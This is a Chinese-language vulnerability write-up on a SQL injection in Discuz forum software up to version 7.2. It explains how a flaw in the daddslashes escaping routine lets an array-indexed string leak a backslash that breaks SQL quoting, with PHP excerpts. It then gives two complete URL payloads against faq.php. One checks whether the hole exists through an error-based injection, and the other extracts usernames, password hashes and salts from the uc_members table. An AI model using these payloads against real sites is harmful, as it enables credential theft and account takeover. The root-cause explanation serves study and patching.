Discuz <= 7.2 SQL注入漏洞详情

　　Discuz树大招风已成常态，不过对于其他整站程序何尝不是如此？是否曾记得大明湖畔的PHPCMS和DEDCMS万人破的场景，流行整站程序最重要的还是漏洞的快速响应。

0x01 漏洞成因：

　　在《高级PHP应用程序漏洞审核技术》一文里的"魔术引号带来的新的安全问题"一节里，有提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体现，如下面的代码片段:

 1 // foo.php?xigr=‘ryat
 2
 3 function daddslashes($string, $force = 0) {
 4 !defined(‘MAGIC_QUOTES_GPC‘) && define(‘MAGIC_QUOTES_GPC‘, get_magic_quotes_gpc());
 5 if(!MAGIC_QUOTES_GPC || $force) {
 6 if(is_array($string)) {
 7 foreach($string as $key => $val) {
 8 $string[$key] = daddslashes($val, $force);
 9 }
10 } else {
11 $string = addslashes($string);
12 }
13 }
14 return $string;
15 }
16 ...
17 foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) {
18 foreach($$_request as $_key => $_value) {
19 $_key{0} != ‘_‘ && $$_key = daddslashes($_value);
20 }
21 }
22
23 echo $xigr[‘hi‘];

　　上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr[‘hi‘],但是没有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr=‘ryat,经过上面的处理变为\‘ryat,到最后$xigr[‘hi‘]就会输出\,如果这个变量引入到SQL语句,那么就会引起严重的安全问题了,再来看下面的代码片段:

1 if($xigr) {
2 foreach($xigr as $k => $v) {
3 $uids[] = $v[‘uid‘];
4 }
5 $query = $db->query("SELECT uid FROM users WHERE uid IN (‘".implode("‘,‘", $uids)."‘)");

　　利用上面提到的思路,通过提交foo.php?xigr[]=‘&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。

0x02 漏洞测试

　　测试漏洞存在的语句 & 爆出账号+密码+salt的语句：

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

　　// 综合自Freebuf分析 & http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt

Discuz <= 7.2 SQL注入漏洞详情